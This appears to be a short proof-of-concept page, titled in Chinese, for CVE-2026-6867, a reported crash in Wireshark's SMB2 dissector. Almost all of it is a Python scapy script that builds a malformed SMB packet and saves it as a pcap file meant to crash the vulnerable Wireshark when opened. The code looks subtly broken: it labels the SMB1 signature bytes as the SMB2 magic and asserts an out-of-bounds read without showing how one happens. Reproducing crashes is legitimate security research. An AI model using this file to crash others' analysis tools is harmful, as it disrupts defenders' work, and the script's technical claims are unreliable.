CVE-2026-6867: Wireshark SMB2协议解析器崩溃漏洞

# PoC for CVE-2026-6867: Wireshark SMB2 Dissector Crash # This script generates a malformed SMB2 packet to trigger the crash. from scapy.all import * # Construct a malformed SMB2 packet header # The goal is to create a packet that the Wireshark SMB2 dissector cannot parse safely. malformed_smb2 = ( b'\xff\x53\x4d\x42' # SMB Magic b'\x00\x00' # Header fields b'\x24\x00\x00\x00' # Length b'\xfe\xff' # Malformed Message ID causing OOB read b'\x00' * 50 # Padding/Malformed data ) # Create a packet pkt = IP(dst="127.0.0.1")/TCP(dport=445, sport=5000)/Raw(load=malformed_smb2) # Save to pcap to be opened in Wireshark wrpcap("cve_2026_6867_crash.pcap", [pkt]) print("Malformed packet saved to cve_2026_6867_crash.pcap") print("Open this file in the vulnerable version of Wireshark to reproduce the crash.")